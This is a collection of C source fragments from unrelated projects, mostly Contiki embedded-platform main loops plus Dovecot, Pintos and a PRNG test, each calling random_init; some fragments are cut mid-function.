if(!UIP_CONF_IPV6_RPL) { uip_ipaddr_t ipaddr; int i; uip_ip6addr(&ipaddr, UIP_DS6_DEFAULT_PREFIX, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ipaddr, &uip_lladdr); uip_ds6_addr_add(&ipaddr, 0, ADDR_TENTATIVE); printf("Tentative global IPv6 address "); for(i = 0; i < 7; ++i) { printf("%02x%02x:", ipaddr.u8[i * 2], ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\n", ipaddr.u8[7 * 2], ipaddr.u8[7 * 2 + 1]); } #else /* NETSTACK_CONF_WITH_IPV6 */ NETSTACK_RDC.init(); NETSTACK_MAC.init(); NETSTACK_NETWORK.init(); printf("%s %s, channel check rate %lu Hz, radio channel %u\n", NETSTACK_MAC.name, NETSTACK_RDC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); #endif /* NETSTACK_CONF_WITH_IPV6 */ #if !NETSTACK_CONF_WITH_IPV4 && !NETSTACK_CONF_WITH_IPV6 uart1_set_input(serial_line_input_byte); serial_line_init(); #endif leds_off(LEDS_GREEN); #if TIMESYNCH_CONF_ENABLED timesynch_init(); timesynch_set_authority_level((linkaddr_node_addr.u8[0] << 4) + 16); #endif /* TIMESYNCH_CONF_ENABLED */ #if NETSTACK_CONF_WITH_IPV4 process_start(&tcpip_process, NULL); process_start(&uip_fw_process, NULL); /* Start IP output */ process_start(&slip_process, NULL); slip_set_input_callback(set_gateway); { uip_ipaddr_t hostaddr, netmask; uip_init(); uip_ipaddr(&hostaddr, 172,16, linkaddr_node_addr.u8[0],linkaddr_node_addr.u8[1]); uip_ipaddr(&netmask, 255,255,0,0); uip_ipaddr_copy(&meshif.ipaddr, &hostaddr); uip_sethostaddr(&hostaddr); uip_setnetmask(&netmask); uip_over_mesh_set_net(&hostaddr, &netmask); /* uip_fw_register(&slipif);*/ uip_over_mesh_set_gateway_netif(&slipif); uip_fw_default(&meshif); uip_over_mesh_init(UIP_OVER_MESH_CHANNEL); printf("uIP started with IP address %d.%d.%d.%d\n", uip_ipaddr_to_quad(&hostaddr)); } #endif /* NETSTACK_CONF_WITH_IPV4 */ energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); watchdog_start(); /* Stop the watchdog */ watchdog_stop(); #if !PROCESS_CONF_NO_PROCESS_NAMES print_processes(autostart_processes); #else /* !PROCESS_CONF_NO_PROCESS_NAMES */ putchar('\n'); /* include putchar() */ #endif /* !PROCESS_CONF_NO_PROCESS_NAMES */ autostart_start(autostart_processes); /* * This is the scheduler loop. */ while(1) { int r; do { /* Reset watchdog. */ watchdog_periodic(); r = process_run(); } while(r > 0); /* * Idle processing. */ int s = splhigh(); /* Disable interrupts. */ /* uart1_active is for avoiding LPM3 when still sending or receiving */ if(process_nevents() != 0 || uart1_active()) { splx(s); /* Re-enable interrupts. */ } else { static unsigned long irq_energest = 0; /* Re-enable interrupts and go to sleep atomically. */ ENERGEST_SWITCH(ENERGEST_TYPE_CPU, ENERGEST_TYPE_LPM); /* We only want to measure the processing done in IRQs when we are asleep, so we discard the processing time done when we were awake. */ energest_type_set(ENERGEST_TYPE_IRQ, irq_energest); watchdog_stop(); _BIS_SR(GIE | SCG0 | SCG1 | CPUOFF); /* LPM3 sleep. This statement will block until the CPU is woken up by an interrupt that sets the wake up flag. */ /* We get the current processing time for interrupts that was done during the LPM and store it for next time around. */ dint(); irq_energest = energest_type_time(ENERGEST_TYPE_IRQ); eint(); watchdog_start(); ENERGEST_SWITCH(ENERGEST_TYPE_LPM, ENERGEST_TYPE_CPU); } } }
/*---------------------------------------------------------------------------*/ int main(void) { /* Hardware initialization */ clock_init(); soc_init(); rtimer_init(); /* Init LEDs here */ leds_init(); leds_off(LEDS_ALL); fade(LEDS_GREEN); /* initialize process manager. */ process_init(); /* Init UART */ uart0_init(); #if DMA_ON dma_init(); #endif #if SLIP_ARCH_CONF_ENABLE slip_arch_init(0); #else uart0_set_input(serial_line_input_byte); serial_line_init(); #endif fade(LEDS_RED); PUTSTRING("##########################################\n"); putstring(CONTIKI_VERSION_STRING "\n"); putstring("TI SmartRF05 EB\n"); switch(CHIPID) { case 0xA5: putstring("cc2530"); break; case 0xB5: putstring("cc2531"); break; case 0x95: putstring("cc2533"); break; case 0x8D: putstring("cc2540"); break; } putstring("-F"); switch(CHIPINFO0 & 0x70) { case 0x40: putstring("256, "); break; case 0x30: putstring("128, "); break; case 0x20: putstring("64, "); break; case 0x10: putstring("32, "); break; } puthex(CHIPINFO1 + 1); putstring("KB SRAM\n"); PUTSTRING("\nSDCC Build:\n"); #if STARTUP_VERBOSE #ifdef HAVE_SDCC_BANKING PUTSTRING(" With Banking.\n"); #endif /* HAVE_SDCC_BANKING */ #ifdef SDCC_MODEL_LARGE PUTSTRING(" --model-large\n"); #endif /* SDCC_MODEL_LARGE */ #ifdef SDCC_MODEL_HUGE PUTSTRING(" --model-huge\n"); #endif /* SDCC_MODEL_HUGE */ #ifdef SDCC_STACK_AUTO PUTSTRING(" --stack-auto\n"); #endif /* SDCC_STACK_AUTO */ PUTCHAR('\n'); PUTSTRING(" Net: "); PUTSTRING(NETSTACK_NETWORK.name); PUTCHAR('\n'); PUTSTRING(" MAC: "); PUTSTRING(NETSTACK_MAC.name); PUTCHAR('\n'); PUTSTRING(" RDC: "); PUTSTRING(NETSTACK_RDC.name); PUTCHAR('\n'); PUTSTRING("##########################################\n"); #endif watchdog_init(); /* Initialise the H/W RNG engine. */ random_init(0); /* start services */ process_start(&etimer_process, NULL); ctimer_init(); /* initialize the netstack */ netstack_init(); set_rime_addr(); #if BUTTON_SENSOR_ON || ADC_SENSOR_ON process_start(&sensors_process, NULL); BUTTON_SENSOR_ACTIVATE(); ADC_SENSOR_ACTIVATE(); #endif #if UIP_CONF_IPV6 memcpy(&uip_lladdr.addr, &rimeaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #endif /* UIP_CONF_IPV6 */ #if VIZTOOL_CONF_ON process_start(&viztool_process, NULL); #endif energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); autostart_start(autostart_processes); watchdog_start(); fade(LEDS_YELLOW); while(1) { do { /* Reset watchdog and handle polls and events */ watchdog_periodic(); #if CLOCK_CONF_STACK_FRIENDLY if(sleep_flag) { if(etimer_pending() && (etimer_next_expiration_time() - clock_time() - 1) > MAX_TICKS) { etimer_request_poll(); } sleep_flag = 0; } #endif r = process_run(); } while(r > 0); len = NETSTACK_RADIO.pending_packet(); if(len) { packetbuf_clear(); len = NETSTACK_RADIO.read(packetbuf_dataptr(), PACKETBUF_SIZE); if(len > 0) { packetbuf_set_datalen(len); NETSTACK_RDC.input(); } } #if LPM_MODE #if (LPM_MODE==LPM_MODE_PM2) SLEEP &= ~OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEP & HFRC_STB)); /* Wait for RCOSC to be stable */ CLKCON |= OSC; /* Switch to the RCOSC */ while(!(CLKCON & OSC)); /* Wait till it's happened */ SLEEP |= OSC_PD; /* Turn the other one off */ #endif /* LPM_MODE==LPM_MODE_PM2 */ /* * Set MCU IDLE or Drop to PM1. Any interrupt will take us out of LPM * Sleep Timer will wake us up in no more than 7.8ms (max idle interval) */ SLEEPCMD = (SLEEPCMD & 0xFC) | (LPM_MODE - 1); #if (LPM_MODE==LPM_MODE_PM2) /* * Wait 3 NOPs. Either an interrupt occurred and SLEEP.MODE was cleared or * no interrupt occurred and we can safely power down */ __asm nop nop nop __endasm; if(SLEEPCMD & SLEEP_MODE0) { #endif /* LPM_MODE==LPM_MODE_PM2 */ ENERGEST_OFF(ENERGEST_TYPE_CPU); ENERGEST_ON(ENERGEST_TYPE_LPM); /* We are only interested in IRQ energest while idle or in LPM */ ENERGEST_IRQ_RESTORE(irq_energest); /* Go IDLE or Enter PM1 */ PCON |= PCON_IDLE; /* First instruction upon exiting PM1 must be a NOP */ __asm nop __endasm; /* Remember energest IRQ for next pass */ ENERGEST_IRQ_SAVE(irq_energest); ENERGEST_ON(ENERGEST_TYPE_CPU); ENERGEST_OFF(ENERGEST_TYPE_LPM); #if (LPM_MODE==LPM_MODE_PM2) SLEEPCMD &= ~SLEEP_OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEPCMD & SLEEP_XOSC_STB)); /* Wait for XOSC to be stable */ CLKCONCMD &= ~CLKCONCMD_OSC; /* Switch to the XOSC */ /* * On occasion the XOSC is reported stable when in reality it's not. * We need to wait for a safeguard of 64us or more before selecting it */ clock_delay(10); while(CLKCONCMD & CLKCONCMD_OSC); /* Wait till it's happened */ } #endif /* LPM_MODE==LPM_MODE_PM2 */ #endif /* LPM_MODE */ } }
static void init() { random_init(); ranminmax_init(); }
static void setUp(void) { /* Initialize */ random_init(0); }
/** * \brief Main function for CC26xx-based platforms * * The same main() is used for both Srf+CC26xxEM as well as for the SensorTag */ int main(void) { /* Set the LF XOSC as the LF system clock source */ select_lf_xosc(); /* * Make sure to open the latches - this will be important when returning * from shutdown */ ti_lib_pwr_ctrl_io_freeze_disable(); /* Use DCDC instead of LDO to save current */ ti_lib_pwr_ctrl_source_set(PWRCTRL_PWRSRC_DCDC); lpm_init(); board_init(); /* Enable flash cache and prefetch. */ ti_lib_vims_mode_set(VIMS_BASE, VIMS_MODE_ENABLED); ti_lib_vims_configure(VIMS_BASE, true, true); gpio_interrupt_init(); /* Clock must always be enabled for the semaphore module */ HWREG(AUX_WUC_BASE + AUX_WUC_O_MODCLKEN1) = AUX_WUC_MODCLKEN1_SMPH; leds_init(); fade(LEDS_RED); cc26xx_rtc_init(); clock_init(); rtimer_init(); watchdog_init(); process_init(); random_init(0x1234); /* Character I/O Initialisation */ #if CC26XX_UART_CONF_ENABLE cc26xx_uart_init(); cc26xx_uart_set_input(serial_line_input_byte); #endif serial_line_init(); printf("Starting " CONTIKI_VERSION_STRING "\n"); printf("With DriverLib v%u.%02u.%02u.%u\n", DRIVERLIB_MAJOR_VER, DRIVERLIB_MINOR_VER, DRIVERLIB_PATCH_VER, DRIVERLIB_BUILD_ID); printf(BOARD_STRING " using CC%u\n", CC26XX_MODEL_CPU_VARIANT); process_start(&etimer_process, NULL); ctimer_init(); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); fade(LEDS_YELLOW); printf(" Net: "); printf("%s\n", NETSTACK_NETWORK.name); printf(" MAC: "); printf("%s\n", NETSTACK_MAC.name); printf(" RDC: "); printf("%s", NETSTACK_RDC.name); if(NETSTACK_RDC.channel_check_interval() != 0) { printf(", Channel Check Interval: %u ticks", NETSTACK_RDC.channel_check_interval()); } printf("\n"); netstack_init(); set_rf_params(); #if NETSTACK_CONF_WITH_IPV6 memcpy(&uip_lladdr.addr, &linkaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #endif /* NETSTACK_CONF_WITH_IPV6 */ fade(LEDS_GREEN); process_start(&sensors_process, NULL); autostart_start(autostart_processes); watchdog_start(); fade(LEDS_ORANGE); while(1) { uint8_t r; do { r = process_run(); watchdog_periodic(); } while(r > 0); /* Drop to some low power mode */ lpm_drop(); } }
int main (int argc, char *argv[]) { int sentence_cnt, new_seed, i, file_flag, sent_flag, seed_flag; int handle; new_seed = 4951; sentence_cnt = 4; file_flag = 0; seed_flag = 0; sent_flag = 0; handle = STDOUT_FILENO; for (i = 1; i < argc; i++) { if (strcmp (argv[1], "-h") == 0) usage (0, NULL); else if (strcmp (argv[i], "-s") == 0) { if (seed_flag++) usage (-1, "Can't have more than one seed"); if (++i >= argc) usage (-1, "Missing value for -s"); new_seed = atoi (argv[i]); } else if (strcmp (argv[i], "-n") == 0) { if (sent_flag++) usage (-1, "Can't have more than one sentence option"); if (++i >= argc) usage (-1, "Missing value for -n"); sentence_cnt = atoi (argv[i]); if (sentence_cnt < 1) usage (-1, "Must have at least one sentence"); } else if (strcmp (argv[i], "-f") == 0) { if (file_flag++) usage (-1, "Can't have more than one output file"); if (++i >= argc) usage (-1, "Missing value for -f"); /* Because files have fixed length in the basic Pintos file system, the 0 argument means that this option will not be useful until task 4 is implemented. */ create (argv[i], 0); handle = open (argv[i]); if (handle < 0) { printf ("%s: open failed\n", argv[i]); return EXIT_FAILURE; } } else usage (-1, "Unrecognized flag"); } init_grammar (); random_init (new_seed); hprintf (handle, "\n"); for (i = 0; i < sentence_cnt; i++) { hprintf (handle, "\n"); expand (0, daGrammar, daGLoc, handle); hprintf (handle, "\n\n"); } if (file_flag) close (handle); return EXIT_SUCCESS; }
int main(int argc, char *argv[]) { static const struct setting_parser_info *set_roots[] = { &imap_urlauth_worker_setting_parser_info, NULL }; enum master_service_flags service_flags = 0; enum mail_storage_service_flags storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_USERDB_LOOKUP | MAIL_STORAGE_SERVICE_FLAG_NO_LOG_INIT; ARRAY_TYPE (const_string) access_apps; const char *access_user = NULL; int c; if (IS_STANDALONE()) { service_flags |= MASTER_SERVICE_FLAG_STANDALONE | MASTER_SERVICE_FLAG_STD_CLIENT; } else { service_flags |= MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN; storage_service_flags |= MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT; } master_service = master_service_init("imap-urlauth-worker", service_flags, &argc, &argv, "a:"); t_array_init(&access_apps, 4); while ((c = master_getopt(master_service)) > 0) { switch (c) { case 'a': { const char *app = t_strdup(optarg); array_append(&access_apps, &app, 1); break; } default: return FATAL_DEFAULT; } } if ( optind < argc ) { access_user = argv[optind++]; } if (optind != argc) { i_fatal_status(EX_USAGE, "Unknown argument: %s", argv[optind]); } master_service_init_log(master_service, t_strdup_printf("imap-urlauth[%s]: ", my_pid)); master_service_set_die_callback(master_service, imap_urlauth_worker_die); random_init(); storage_service = mail_storage_service_init(master_service, set_roots, storage_service_flags); master_service_init_finish(master_service); /* fake that we're running, so we know if client was destroyed while handling its initial input */ io_loop_set_running(current_ioloop); if (IS_STANDALONE()) { T_BEGIN { if (array_count(&access_apps) > 0) { (void)array_append_space(&access_apps); main_stdio_run(access_user, array_idx(&access_apps,0)); } else { main_stdio_run(access_user, NULL); } } T_END; } else {
Random::Random(unsigned long long seed) { random_init(seed); }
static int fs_crypt_init(struct fs *_fs, const char *args, const struct fs_settings *set) { struct crypt_fs *fs = (struct crypt_fs *)_fs; const char *enc_algo, *set_prefix; const char *p, *arg, *value, *error, *parent_name, *parent_args; const char *public_key_path = "", *private_key_path = "", *password = ""; random_init(); if (!dcrypt_initialize("openssl", NULL, &error)) i_fatal("dcrypt_initialize(): %s", error); /* [algo=<s>:][set_prefix=<n>:][public_key_path=<s>:] [private_key_path=<s>:[password=<s>:]]<parent fs> */ set_prefix = "mail_crypt_global"; enc_algo = "aes-256-gcm-sha256"; for (;;) { p = strchr(args, ':'); if (p == NULL) { fs_set_error(_fs, "Missing parameters"); return -1; } arg = t_strdup_until(args, p); if ((value = strchr(arg, '=')) == NULL) break; arg = t_strdup_until(arg, value++); args = p+1; if (strcmp(arg, "algo") == 0) enc_algo = value; else if (strcmp(arg, "set_prefix") == 0) set_prefix = value; else if (strcmp(arg, "public_key_path") == 0) public_key_path = value; else if (strcmp(arg, "private_key_path") == 0) private_key_path = value; else if (strcmp(arg, "password") == 0) password = value; else { fs_set_error(_fs, "Invalid parameter '%s'", arg); return -1; } } parent_args = strchr(args, ':'); if (parent_args == NULL) { parent_name = args; parent_args = ""; } else { parent_name = t_strdup_until(args, parent_args); parent_args++; } if (fs_init(parent_name, parent_args, set, &_fs->parent, &error) < 0) { fs_set_error(_fs, "%s: %s", parent_name, error); return -1; } fs->enc_algo = i_strdup(enc_algo); fs->set_prefix = i_strdup(set_prefix); fs->public_key_path = i_strdup_empty(public_key_path); fs->private_key_path = i_strdup_empty(private_key_path); fs->password = i_strdup_empty(password); return 0; }
GAULFUNC boolean random_test(void) { unsigned int i, j, k; /* Loop variables. */ double r; /* Pseudo-random number. */ long bins[NUM_BINS]; /* Bin. */ double sum=0,sumsq=0; /* Stats. */ int numtrue=0, numfalse=0; /* Count booleans. */ unsigned int rchi=100; /* Number of bins in chisq test. */ unsigned int nchi=1000; /* Number of samples in chisq test. */ double chisq; /* Chisq error. */ double elimit = 2*sqrt((double)rchi); /* Chisq error limit. */ double nchi_rchi = (double)nchi / (double)rchi; /* Speed calculation. */ FILE *rfile=NULL; /* Handle for file of random integers. */ random_init(); printf("Testing random numbers.\n"); /* * Uniform Distribution. */ printf("Uniform distribution. Mean should be about 0.5.\n"); for (i=0;i<NUM_BINS;i++) bins[i] = 0; for (i=0;i<NUM_SAMPLES;i++) { r = random_unit_uniform(); if (r >= 0.0 && r < 1.0) { bins[(int)(r*NUM_BINS)]++; sum += r; sumsq += SQU(r); } else { printf("Number generated out of range 0.0<=r<1.0.\n"); } } printf("Mean = %f\n", sum / NUM_SAMPLES); printf("Standard deviation = %f\n", (sumsq - sum*sum/NUM_SAMPLES)/NUM_SAMPLES); for (i=0;i<NUM_BINS;i++) printf("%5.3f %ld\n", i/(double)NUM_BINS, bins[i]); /* * Gaussian Distribution. */ printf("Gaussian distribution. Mean should be about 0.45. Standard deviation should be about 0.05.\n"); sum=0; sumsq=0; for (i=0;i<NUM_BINS;i++) bins[i] = 0; for (i=0;i<NUM_SAMPLES;i++) { r = random_gaussian(0.45,0.05); if (r >= 0.0 && r < 1.0) { bins[(int)(r*NUM_BINS)]++; sum += r; sumsq += SQU(r); } else { printf("Number generated out of range 0.0<=r<1.0.\n"); } } printf("Mean = %f\n", sum / NUM_SAMPLES); printf("Standard deviation = %f\n", (sumsq - sum*sum/NUM_SAMPLES)/NUM_SAMPLES); for (i=0;i<NUM_BINS;i++) printf("%5.3f %ld\n", i/(double)NUM_BINS, bins[i]); /* * Unit Gaussian Distribution. */ printf("Gaussian distribution. Mean should be about 0.0. Standard deviation should be about 1.0.\n"); sum=0; sumsq=0; for (i=0;i<NUM_BINS;i++) bins[i] = 0; for (i=0;i<NUM_SAMPLES;i++) { r = random_unit_gaussian(); if (r >= -5.0 && r < 5.0) { bins[(int)((r+5.0)*NUM_BINS)/10]++; sum += r; sumsq += SQU(r); } else { printf("Number generated out of range -5.0<=r<5.0.\n"); } } printf("Mean = %f\n", sum / NUM_SAMPLES); printf("Standard deviation = %f\n", (sumsq - sum*sum/NUM_SAMPLES)/NUM_SAMPLES); for (i=0;i<NUM_BINS;i++) printf("%5.3f %ld\n", -5.0+10*i/(double)NUM_BINS, bins[i]); /* * Random Boolean. */ printf("Random Booleans. Two counts should be approximately equal.\n"); for (i=0;i<NUM_SAMPLES;i++) { if ( random_boolean() ) numtrue++; else numfalse++; } printf("TRUE/FALSE = %d/%d\n", numtrue, numfalse); /* * Random int. */ printf("Random Integers. The distribution should be approximately uniform.\n"); for (i=0;i<NUM_BINS;i++) bins[i] = 0; for (i=0;i<NUM_SAMPLES;i++) bins[random_int(NUM_BINS)]++; for (i=0;i<NUM_BINS;i++) printf("%u %ld\n", i, bins[i]); /* * Chi squared test. This is the standard basic test for randomness of a PRNG. * We would expect any moethod to fail about about one out of ten runs. * The error is r*t/N - N and should be within 2*sqrt(r) of r. */ printf("Chi Squared Test of Random Integers. We would expect a couple of failures.\n"); if (rchi>NUM_BINS) die("Internal error: too few bins."); for (j=0;j<NUM_CHISQ;j++) { printf("Run %u. chisq should be within %f of %u.\n", j, elimit, rchi); for(k=0; k<10; k++) { memset(bins, 0, rchi*sizeof(long)); chisq = 0.0; for(i=0; i<nchi; i++) bins[random_int(rchi)]++; for(i=0; i<rchi; i++) chisq += SQU((double)bins[i] - nchi_rchi); chisq /= nchi_rchi; printf("chisq = %f - %s\n", chisq, fabs(chisq - rchi)>elimit?"FAILED":"PASSED"); } } printf("Creating file (\"randtest.dat\") of 5000 random integer numbers for external analysis.\n"); rfile = fopen("randtest.dat", "w"); for (i=0; i<5000; i++) { r = (double) random_rand(); fprintf(rfile, "%f %f\n", /*i, r,*/ (double)i/(double)5000, r/(double)RANDOM_RAND_MAX); } fclose(rfile); return TRUE; }
/*---------------------------------------------------------------------------*/ int main(int argc, char **argv) { /* * Initalize hardware. */ msp430_cpu_init(); clock_init(); leds_init(); leds_on(LEDS_RED); uart1_init(BAUD2UBR(115200)); /* Must come before first printf */ #if WITH_UIP slip_arch_init(BAUD2UBR(115200)); #endif /* WITH_UIP */ leds_on(LEDS_GREEN); ds2411_init(); /* XXX hack: Fix it so that the 802.15.4 MAC address is compatible with an Ethernet MAC address - byte 0 (byte 2 in the DS ID) cannot be odd. */ ds2411_id[2] &= 0xfe; leds_on(LEDS_BLUE); xmem_init(); leds_off(LEDS_RED); rtimer_init(); /* * Hardware initialization done! */ /* Restore node id if such has been stored in external mem */ node_id_restore(); random_init(ds2411_id[0] + node_id); leds_off(LEDS_BLUE); /* * Initialize Contiki and our processes. */ process_init(); process_start(&etimer_process, NULL); process_start(&sensors_process, NULL); /* * Initialize light and humidity/temp sensors. */ sensors_light_init(); battery_sensor.activate(); sht11_init(); ctimer_init(); cc2420_init(); cc2420_set_pan_addr(IEEE802154_PANID, 0 /*XXX*/, ds2411_id); cc2420_set_channel(RF_CHANNEL); printf(CONTIKI_VERSION_STRING " started. "); if(node_id > 0) { printf("Node id is set to %u.\n", node_id); } else { printf("Node id is not set.\n"); } set_rime_addr(); printf("MAC %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x", ds2411_id[0], ds2411_id[1], ds2411_id[2], ds2411_id[3], ds2411_id[4], ds2411_id[5], ds2411_id[6], ds2411_id[7]); #if WITH_UIP6 memcpy(&uip_lladdr.addr, ds2411_id, sizeof(uip_lladdr.addr)); sicslowpan_init(sicslowmac_init(&cc2420_driver)); process_start(&tcpip_process, NULL); printf(" %s channel %u\n", sicslowmac_driver.name, RF_CHANNEL); #if UIP_CONF_ROUTER rime_init(rime_udp_init(NULL)); uip_router_register(&rimeroute); #endif /* UIP_CONF_ROUTER */ #else /* WITH_UIP6 */ rime_init(MAC_DRIVER.init(&cc2420_driver)); printf(" %s channel %u\n", rime_mac->name, RF_CHANNEL); #endif /* WITH_UIP6 */ #if !WITH_UIP && !WITH_UIP6 uart1_set_input(serial_line_input_byte); serial_line_init(); #endif #if PROFILE_CONF_ON profile_init(); #endif /* PROFILE_CONF_ON */ leds_off(LEDS_GREEN); #if WITH_FTSP ftsp_init(); #endif /* WITH_FTSP */ #if TIMESYNCH_CONF_ENABLED timesynch_init(); timesynch_set_authority_level(rimeaddr_node_addr.u8[0]); #endif /* TIMESYNCH_CONF_ENABLED */ #if WITH_UIP process_start(&tcpip_process, NULL); process_start(&uip_fw_process, NULL); /* Start IP output */ process_start(&slip_process, NULL); slip_set_input_callback(set_gateway); { uip_ipaddr_t hostaddr, netmask; uip_init(); uip_ipaddr(&hostaddr, 172,16, rimeaddr_node_addr.u8[0],rimeaddr_node_addr.u8[1]); uip_ipaddr(&netmask, 255,255,0,0); uip_ipaddr_copy(&meshif.ipaddr, &hostaddr); uip_sethostaddr(&hostaddr); uip_setnetmask(&netmask); uip_over_mesh_set_net(&hostaddr, &netmask); /* uip_fw_register(&slipif);*/ uip_over_mesh_set_gateway_netif(&slipif); uip_fw_default(&meshif); uip_over_mesh_init(UIP_OVER_MESH_CHANNEL); printf("uIP started with IP address %d.%d.%d.%d\n", uip_ipaddr_to_quad(&hostaddr)); } #endif /* WITH_UIP */ button_sensor.activate(); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); print_processes(autostart_processes); autostart_start(autostart_processes); /* * This is the scheduler loop. */ #if DCOSYNCH_CONF_ENABLED timer_set(&mgt_timer, DCOSYNCH_PERIOD * CLOCK_SECOND); #endif watchdog_start(); /* watchdog_stop();*/ while(1) { int r; #if PROFILE_CONF_ON profile_episode_start(); #endif /* PROFILE_CONF_ON */ do { /* Reset watchdog. */ watchdog_periodic(); r = process_run(); } while(r > 0); #if PROFILE_CONF_ON profile_episode_end(); #endif /* PROFILE_CONF_ON */ /* * Idle processing. */ int s = splhigh(); /* Disable interrupts. */ /* uart1_active is for avoiding LPM3 when still sending or receiving */ if(process_nevents() != 0 || uart1_active()) { splx(s); /* Re-enable interrupts. */ } else { static unsigned long irq_energest = 0; #if DCOSYNCH_CONF_ENABLED /* before going down to sleep possibly do some management */ if (timer_expired(&mgt_timer)) { timer_reset(&mgt_timer); msp430_sync_dco(); } #endif /* Re-enable interrupts and go to sleep atomically. */ ENERGEST_OFF(ENERGEST_TYPE_CPU); ENERGEST_ON(ENERGEST_TYPE_LPM); /* We only want to measure the processing done in IRQs when we are asleep, so we discard the processing time done when we were awake. */ energest_type_set(ENERGEST_TYPE_IRQ, irq_energest); watchdog_stop(); _BIS_SR(GIE | SCG0 | SCG1 | CPUOFF); /* LPM3 sleep. This statement will block until the CPU is woken up by an interrupt that sets the wake up flag. */ /* We get the current processing time for interrupts that was done during the LPM and store it for next time around. */ dint(); irq_energest = energest_type_time(ENERGEST_TYPE_IRQ); eint(); watchdog_start(); ENERGEST_OFF(ENERGEST_TYPE_LPM); ENERGEST_ON(ENERGEST_TYPE_CPU); } } return 0; }
/** * \brief Main routine for the OpenMote-CC2538 platforms */ int main(void) { nvic_init(); ioc_init(); sys_ctrl_init(); clock_init(); lpm_init(); rtimer_init(); gpio_init(); leds_init(); fade(LEDS_RED); process_init(); watchdog_init(); #if UART_CONF_ENABLE uart_init(0); uart_init(1); uart_set_input(SERIAL_LINE_CONF_UART, serial_line_input_byte); #endif #if USB_SERIAL_CONF_ENABLE usb_serial_init(); usb_serial_set_input(serial_line_input_byte); #endif i2c_init(I2C_SDA_PORT, I2C_SDA_PIN, I2C_SCL_PORT, I2C_SCL_PIN, I2C_SCL_NORMAL_BUS_SPEED); serial_line_init(); INTERRUPTS_ENABLE(); fade(LEDS_BLUE); PUTS(CONTIKI_VERSION_STRING); PUTS(BOARD_STRING); #if STARTUP_CONF_VERBOSE soc_print_info(); #endif random_init(0); udma_init(); process_start(&etimer_process, NULL); ctimer_init(); board_init(); #if CRYPTO_CONF_INIT crypto_init(); crypto_disable(); #endif netstack_init(); set_rf_params(); PRINTF("Net: "); PRINTF("%s\n", NETSTACK_NETWORK.name); PRINTF("MAC: "); PRINTF("%s\n", NETSTACK_MAC.name); PRINTF("RDC: "); PRINTF("%s\n", NETSTACK_RDC.name); #if NETSTACK_CONF_WITH_IPV6 memcpy(&uip_lladdr.addr, &linkaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #endif /* NETSTACK_CONF_WITH_IPV6 */ process_start(&sensors_process, NULL); SENSORS_ACTIVATE(button_sensor); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); autostart_start(autostart_processes); watchdog_start(); fade(LEDS_GREEN); while(1) { uint8_t r; do { watchdog_periodic(); r = process_run(); } while(r > 0); lpm_enter(); } }